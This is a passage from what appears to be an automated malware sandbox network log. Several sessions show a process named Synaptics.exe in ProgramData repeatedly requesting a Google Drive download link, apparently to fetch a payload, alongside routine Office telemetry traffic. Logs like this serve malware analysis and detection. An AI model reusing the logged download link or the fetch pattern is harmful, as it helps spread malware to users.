Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49934	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-OsZgz-MiBvHv3InZpUpMSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:08 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231608Z-1746fd949bdxk6n6hC1EWRdr8c00000003ag000000000ga5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:08 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231608Z-1746fd949bddtfvqhC1EWRxbpg000000038g00000000hcdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:08 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:08 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231608Z-1746fd949bd6zq92hC1EWRry4800000003c0000000007hes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:08 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231608Z-1746fd949bdb8xvchC1EWRmbd400000003a000000000d22d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231608Z-1746fd949bdhk6hphC1EWRaw3c000000032000000000mfk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49942	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-e5RB09csx1TTNml5D5f39w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49943	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49945	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:09 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:09 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-IWkp8Td5nzkn9-kB5w05mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC5altvasEFnHjKzqbMDUnMpKj9gcYYsEFQmH_x0OrgK_EKmKkDPTxU5_F2dRg-QBZ0-lI0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:09 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404
2024-12-05 23:16:09 UTC	1390	IN	Data Raw: 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 50 33 36 72 54 66 50 4e 75 58 77 42 32 64 75 59 73 36 63 64 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 Data Ascii: (Not Found)!!1</title><style nonce="gP36rTfPNuXwB2duYs6cdw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padd
2024-12-05 23:16:09 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49944	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-SEBFMInBQKRcbLV-9Mwe1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:10 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:10 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231610Z-1746fd949bd2cq7chC1EWRnx9g0000000320000000005eah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:10 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:10 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231610Z-1746fd949bdjzh7thC1EWR3g6400000003e0000000009bt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
